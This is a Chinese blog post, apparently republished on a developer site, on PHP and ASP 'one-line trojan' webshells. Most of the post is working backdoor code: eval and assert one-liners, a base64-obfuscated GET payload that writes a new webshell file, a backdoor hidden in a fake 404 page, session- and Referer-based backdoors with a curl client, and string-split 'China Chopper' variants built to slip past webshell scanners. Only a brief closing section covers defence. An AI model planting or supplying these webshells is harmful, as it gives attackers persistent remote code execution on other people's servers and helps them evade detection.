PHP一句话木马后门

PHP一句话木马后门在我们进行渗透测试的最后阶段,入侵到内网里,无论是想要浏览网站结构,还是抓取数据库,或者是挂个木马等等,到最后最常用的就是执行一句话木马,从客户端轻松连接服务器。一句话木马的原理很简单,造型也很简单,所以造成了它理解起来容易,抵御起来也容易。于是黑白的较量变成了黑帽不断的构造变形的后门,去隐蔽特征,而白帽则不断的更新过滤方法,建起更高的城墙。一、原理简述对于不同的语言有不同的构造方法。…

大家好,又见面了,我是你们的朋友全栈君。

在我们进行渗透测试的最后阶段,入侵到内网里,无论是想要浏览网站结构,还是抓取数据库,或者是挂个木马等等,到最后最常用的就是执行一句话木马,从客户端轻松连接服务器。

一句话木马的原理很简单,造型也很简单,所以造成了它理解起来容易,抵御起来也容易。于是黑白的较量变成了黑帽不断的构造变形的后门,去隐蔽特征,而白帽则不断的更新过滤方法,建起更高的城墙。

一、原理简述

对于不同的语言有不同的构造方法。

  • 基本构造:最开头构造的是脚本开始的标记
  • 核心部分:获取并执行得到的内容,通常类似eval、execute等
  • 被执行内容:一般是http等协议接受的值,通常类似request、$_POST等

如果我们通过客户端向服务器发送被执行内容,那么就会让服务器执行我们发送的脚本,挂马就实现了。

/*asp一句话木马*/
<%execute(request("value"))%>

/*php一句话木马*/
<?php @eval($_POST[value]);?>

/*aspx一句话木马*/
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>

黑帽子的目的,就是想尽办法给目标网站插入这么一段会被储存起来的语句。可以是一个单独的脚本文件文件(.asp 、.php、.aspx ),或者是隐藏在某些网页下的文件、代码等。其中的value 就是客户端要发送的内容,然后通过客户端与服务器建立连接,发送控制脚本。也会涉及到一些任意文件上传漏洞等。

二、简单变形

很明显的 eval 可以成为一个静态特征码,webshell扫描工具可以以此为关键词,扫描到这种木马加以屏蔽。于是可以简单变形不出现eval:

<?php $_GET['a']($_POST['b'])?>

同理,传给a值为 @base64_decode(base64编码过后的eval)。

<?php $_GET['a']($_GET['b']);?>

利用方法:

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

通过对GET请求的URL构造而形成利用,左括号和右括号是URL编码,解码回来如下:

?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};

PHP接收到GET请求后相当于执行一个assert函数,并把b作为assert的参数。b里面使用略php的base64解码函数,把部分信息通过base64编码而绕过扫描,解码后如下:

?a=assert&b=${fputs(fopen(c.php,w),<?php @eval($_POST[c]); ?>1)};

执行后当前目录生成c.php文件并写入一句话木马,这已经算是一个非常隐蔽的木马了。而在PHP 后门的变形之路上,远远不止这些,甚至可以自己定义一个加密解密的函数,或者是利用xor, 字符串翻转,压缩,截断重组等等方法来绕过。

三、变形改良

1.404页面隐藏木马

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
	<head>
		<title>404 Not Found</title>
	</head>
	<body>
		<h1>Not Found</h1>
		<p>The requested URL was not found on this server.</p>
	</body>
</html>
<?php
	@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
	header('HTTP/1.1 404 Not Found');
?>

一般404页面放好后,很少有人会定期对404页面进行检查和修改。如果在404页面挂上了一句话后门,一方面不会被发现,另一方面,黑帽子很容易能定位到并连接上服务器。

2.无特征隐藏PHP后门

利用session:

<?php

    session_start();
    $_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
    $_SESSION['theCode'] && preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');

利用$_SEESION变量来绕过扫描,将$_POST[‘code’]赋值给$_SESSION[‘theCode’],然后eval执行SESSION的内容。

利用HTTP_REFERER:

利用请求中的HTTP_REFERER来运行经过base64编码的代码,达到后门的效果,使用两个文件。

<?php

    //1.php
    header('Content-type:text/html;charset=utf-8');
    parse_str($_SERVER['HTTP_REFERER'], $a);
    if(reset($a) == '10' && count($a) == 9) {
        eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
    }
<?php

    //2.php
    header('Content-type:text/html;charset=utf-8');
    
    //要执行的代码
    $code = <<<CODE
        phpinfo();
CODE;

    //进行base64编码
    $code = base64_encode($code);
    
    //构造referer字符串
    $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
    
    //后门url
    $url = 'http://localhost/test1/1.php';
    $ch = curl_init();
    $options = [
        CURLOPT_URL    => $url,
        CURLOPT_HEADER => FALSE,
        CURLOPT_RETURNTRANSFER => TRUE,
        CURLOPT_REFERER => $referer
    ];
    curl_setopt_array($ch, $options);
    echo curl_exec($ch);

访问2.php,会构造一个会话,进到后门1.php那里。然后在HTTP_REFERER 的内容也会传递给1.php,通过1.php 执行内容。一般来说,防火墙会对 referer字段宽松一些,就可造成绕过。

3.常见的后门

//菜刀一句话
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['h'],"Access");

//危险的include函数,直接编译任何文件为php格式运行
$filename=$_GET['xbid'];
include ($filename);

//重命名任何文件
$reg="c"."o"."p"."y";
$reg($_FILES['MyFile']['tmp_name'],$_FILES['MyFile']['name']);

//菜刀一句话
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid("/[discuz]/e",$_POST['h'],"Access");

//gif插一句话
//危险的include函数,直接编译任何文件为php格式运行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif
include ($uid);

//典型一句话
<?php eval_r($_POST['s'])?>
<?php @eval_r($_POST['s'])?>

//使用lanker一句话客户端的专家模式执行相关的php语句
<?php assert($_POST['s']);?>

<?$_POST['a']($_POST['b']);?>
<?$_POST['a']($_POST['b'],$_POST['c'])?>

//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入
<?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?>
    
<O>h=@eval_r($_POST1);</O>

//绕过<?限制的一句话
<script language="php">@eval_r($_POST[sb])</script>

四、攻防

攻方:利用各种各样的绕过姿势,都是试图让扫描工具无效。

守方:分析各种各样的函数,寻找有效的特征码来防止后门。

黑帽子大牛:深入web框架内核,挖掘出代码缺陷,构造出复杂的后门利用。

安全审计人员:对那些通过GET,POST 获取的超全局变量,进行细致的追踪,构造合适的过滤器。

语义分析:对GET POST 等获取的值进行污染点追踪,以确保这些用户可控的值,不会未经过滤就得到了执行,或是进入数据库中。

针对超全局变量进行语义分析:

  • $_GET
  • $_POST
  • $_REQUEST
  • $_SERVER
  • $_FILES
  • $_COOKIE
  • $_SESSION
  • $_ENV
  • $GLOBALS
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/143504.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • JavaScript实现哈希表数据结构[通俗易懂]

    一、简单说明1、JavaScript是没有哈希表数据结构的,那么当我们需要用到类似哈希表这样的键值对数据结构时怎么办?答案就是自己实现一个,我们可以利用JavaScript的一些特性来实现自己的哈希表数据结构。2、首先,哈希表是一种键值对数据结构,键是唯一的,这个特征跟JavaScript的Object对象有点类似,Object对象的属性是唯一的,属性和值的映射就像是键值对一样,那么我们可以用一个…

  • 飞鸽传书:谈谈RenderControl手动调用「建议收藏」

    飞鸽传书:谈谈RenderControl手动调用「建议收藏」有些网页需要在后台动态创建服务器控件,并且将控件的html代码写入到指定的HtmlTextWriter.如果仅是调用RenderControl方法能够将服务器控件的html内容输出,但它并不会执行OnPreRender,但是通常服务器控件都重写了OnPreRender方法,实现了许多重要的功能.我们不能将其舍弃啊.

  • 常用邮件服务器软件(邮件服务器软件哪个好)

    常见邮件服务器软件1.微软ExchangeServer[3]​2.TurboMail3.Coremail4.U-Mail5.lifecube网络宝邮件服务器6.MDaemonServer7.WinWebMail8.IceWarp/MerakMailServer9.LotusDomino/Notes10.Postfix/Sendmail/Qm…

  • modelsim se 10.5安装教程

    modelsim se 10.5安装教程modelsimse10.5安装教程简介modelsim10.5是由mentorgraphics公司推出的一款具备强大的仿真性能与调试能力的HDL设计验证环境,也是唯一的单内核支持VHDL和Verilog混合仿真的仿真器,提供最友好的调试环境,采用直接优化的编译技术、Tcl/Tk技术、和单一内核仿真,并且具有个性化的图形界面和用户接口,能够为用户加快调试提供强有力的手段。而且软件全面支持VHDL和Verilog语言的IEEE标准,以及IEEEVITAL1076.4-95标准,与C语言功能调

  • NLP学习路线总结

    NLP学习路线总结目录1、自然语言处理概述2、自然语言处理入门基础3、自然语言处理的主要技术范畴4、自然语言处理基本点5、特征处理6、模型选择7、NLP常用工具8、NLP语言模型9、快速入门NLP方法10、自然语言处理学习资料1、自然语言处理概述自然语言处理(NaturalLanguageProcessing,NLP)是计算机科学领域与人工智能领域中的一个重要方向…

  • win+r常用指令怎么打开_R语言指令

    win+r常用指令怎么打开_R语言指令最近在学习Linux,被命令行深深吸引了,陷入其中不能自拔,考虑到Windows上也有cmd命令行,但对新人来说不是很友好。这次我们就先讲一下Win+R运行框里的快捷键,绝对能提高不少效率!什么是Win+R防止有些小白看不懂,所以说明一些,使用Windows+R快捷键就可以打开如下图的运行窗口,在里面输入命令可以方便快捷地打开很多东西,而且本文的所有操作都是在这个运行框里输入的,不要与cm…

    2022年10月12日

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号